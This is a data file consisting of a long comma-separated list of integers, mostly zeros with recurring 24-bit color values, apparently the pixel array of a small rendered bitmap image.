0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,14992,14417846,6684672,0,0,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417919,16777215,16777215,16777215,16777215,16758374,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,14992,14417846,6684672,0,0,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,14992,14417883,9452032,0,0,0,0,0,0,0,0,0,3816080,11993087,16758374,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,14992,14417846,6684672,0,0,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,6731519,16777179,9463354,3815994,3815994,3801088,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,0,0,102,11993087,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,14992,14417846,6684672,0,0,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,58,6731483,16777215,16777215,16777215,11953664,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,0,58,9493503,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777142,6684672,0,0,0,0,0,0,3838134,14408592,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16767963,11953722,0,0,0,0,0,6721755,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3815994,3827382,16777142,6684672,0,0,0,0,0,0,6721755,16777142,6684672,0,0,0,58,9493503,11953664,102,11993051,9452032,0,0,14992,11983871,16777215,16777215,14399120,3801088,0,0,3827344,14408703,16777215,16777215,14399078,3801088,0,0,14950,11983871,16777215,16777215,14399120,3801088,0,0,3838171,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9463354,3815994,6721755,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,3816038,11983871,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,58,9493467,9452032,14992,14417846,6684672,0,58,9493503,16767888,6699578,3827344,14417919,14389306,0,102,11983835,14389350,3815994,3827382,14417919,11953664,0,102,11993087,16758416,3815994,3827344,14417919,16758374,0,0,3838171,16767888,6699578,3815994,3815994,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,3838171,16767888,3801088,0,6731519,16777215,16777215,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,16777215,11953664,0,0,58,6731483,16777215,16777215,16767926,9452032,0,0,102,11983871,16777215,16777179,11964474,0,0,14992,14417919,16777179,9452134,11983871,16777215,14399078,0,0,26294,14417919,16777215,14399120,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,14992,14417883,9452032,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11964560,14417919,16777215,14399120,3801088,0,0,3838171,16777215,16777215,14408630,6699520,0,0,0,0,26294,16777142,6684672,0,0,0,0,6731519,16777215,16777215,16777142,6684672,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,58,9493503,11953664,0,14992,14417883,9452032,0,0,3838171,16767888,3801088,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,26294,16777179,11974399,16777179,9474230,16777215,14399078,0,0,3838171,16777215,16777215,14408630,6699520,0,0,3838171,16777142,6684672,0,0,3838171,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,14992,14417883,9452032,0,58,3815994,6721755,16777142,6684672,0,0,58,9493503,16767888,6699578,3815994,3815994,0,0,0,6731519,16777179,9463354,3815994,9484031,16758374,3801088,0,6731519,16767926,6699578,3827382,16777215,11953664,0,0,3816038,11993087,14408630,9463354,3827382,16777179,9452032,102,11993087,16758374,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,26294,16777142,6684672,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,16767926,6699578,3827344,14417919,11953664,0,0,58,3815994,3816038,9483995,16777142,6684672,0,0,0,26294,16777142,6684672,0,0,0,0,58,3815994,6721755,16777142,6684672,0,0,0,102,11993014,6684672,26294,16767888,3801088,0,0,3838171,16767926,9463398,6721718,14408630,9452032,0,0,0,0,58,6721755,16767888,3801088,0,14992,14417883,9452032,0,0,3838171,16767888,3801088,0,3838171,16777215,14408703,16777179,14399120,3801088,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,26294,16777179,9452090,9493503,14389306,3838171,16767888,3801088,0,58,3815994,3816038,9483995,16777142,6684672,0,102,11993087,11953664,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,14992,14417883,9452032,0,0,0,3838171,16777142,6684672,0,0,58,9493503,16767888,6699578,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,14389306,0,102,11993087,11953664,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,0,0,0,0,102,11993087,11953722,3815994,3816038,11983871,16767888,3801088,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,14389306,0,58,9493503,14389306,0,0,0,58,3815994,3816080,14417883,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,14992,14417846,6684672,26294,16767888,3801088,0,0,14992,11983871,16767963,16777215,14399120,3801088,0,0,0,6731519,16777215,16767926,9452090,0,0,102,11993087,16767926,9474192,9483995,11983835,16767888,3801088,0,3838134,11964518,6710886,6710966,14417919,16758374,0,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,0,0,58,3815994,3816080,14417883,9452032,0,0,6731519,16758374,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,14992,14417883,9452032,0,0,0,3838171,16777142,6684672,0,0,0,14950,11983835,16777215,16777215,14399120,3801088,0,14992,14417883,9452032,0,0,0,0,0,14992,14417919,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,3815994,3815994,3815994,3815994,3815994,3815936,0,0,0,0,0,0,0,0,0,102,11993087,16777215,16777215,16777215,14399120,3801088,0,14992,14417919,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,0,14992,14408592,3801088,3838171,16758374,0,0,14992,14417919,11953664,0,58,6731519,16758374,0,0,0,0,0,3827344,14417919,11953664,0,0,14950,9483995,14408630,9463354,6731519,16758374,0,0,0,0,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,26294,16777142,6684672,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,58,9483995,16777215,14408667,14408703,16777179,9452032,0,0,26294,16777142,6684672,26294,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,3838171,16777142,6684672,0,0,0,3838171,16777142,6684672,0,0,0,0,0,0,3816080,11993087,16758374,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,0,102,11993087,11953664,0,0,0,0,26294,16777142,6684672,0,58,9493503,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,102,11993087,11953664,0,0,6731519,16758374,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6684672,0,102,11993051,9452032,0,0,0,26294,16777142,6684672,0,0,0,0,0,0,3838171,16777142,6684672,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777142,6684672,26294,16777142,6684672,0,0,3838171,16767888,3801088,0,0,0,0,0,6731519,16758374,0,0,0,0,0,14992,14417919,11953664,0,14950,9483920,6699520,0,0,3838171,16767888,3801088,0,0,0,0,0,0,0,0,0,14992,14417883,9452032,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,26294,16777142,6684672,0,102,11993051,9452032,0,0,102,11993087,11953664,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417883,9463354,3815994,6721755,16777215,14389306,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,3827302,3815994,3815994,3816080,11993087,14389306,0,0,6731519,16777179,11953722,3815994,3815994,3815936,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,58,3816038,11993087,11953722,3815936,0,0,0,102,11993087,14399078,3815994,6721718,14417919,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,6731519,16767926,6699578,3827382,16777215,11953664,0,102,11993087,11953664,0,58,9493503,14389306,0,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,26294,16777215,11953722,3815994,3815994,0,0,14906,3815994,6721755,16777142,6699578,3815936,0,0,26294,16758374,0,6731519,14389306,0,0,102,11993087,14399078,3815994,3816080,11993087,16758374,0,58,6710886,3815994,3815994,3827382,14417919,14389306,0,0,58,3816038,9483995,16777215,14399078,0,0,102,11993087,16758416,3815994,3816080,11993087,16758374,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,26294,16777142,6699520,58,6721718,14408667,9463296,0,0,0,3838171,16767926,11983871,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777215,16777215,16767963,11953722,0,0,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,102,11993087,16777215,16777215,16777215,14399120,3801088,0,0,58,6731483,16777215,16777215,16777215,14389306,0,0,102,11983871,16777215,16777179,11964474,0,0,3838171,16777215,16777215,16777215,16777142,6684672,0,0,0,26294,14417919,16777215,14399078,6731519,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,102,11983871,16777215,16777179,11964474,0,0,102,11993087,11953664,0,58,9493503,14389306,0,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,0,6731483,16777215,16777215,16758416,3801088,102,11993087,16777215,16777215,16777215,16777215,16777142,6684672,0,3838171,16758374,0,6731519,14389306,0,0,0,14992,11983871,16777215,16777215,14399120,3801088,0,102,11983871,16777215,16777215,16777179,11964474,0,0,0,3838171,16777215,14408630,9463354,0,0,0,0,14950,11983871,16777215,16777215,14399120,3801088,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,11953722,0,0,0,26294,16777142,6684730,9493503,11953664,3838171,16767888,3801088,58,9483995,16777215,16777179,11964518,9493503,16777215,11953664,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838134,14417919,16777215,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16758374,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3816038,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3827302,9483995,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408630,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,3815936,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11993087,11953664,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,6731519,16777215,16767926,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0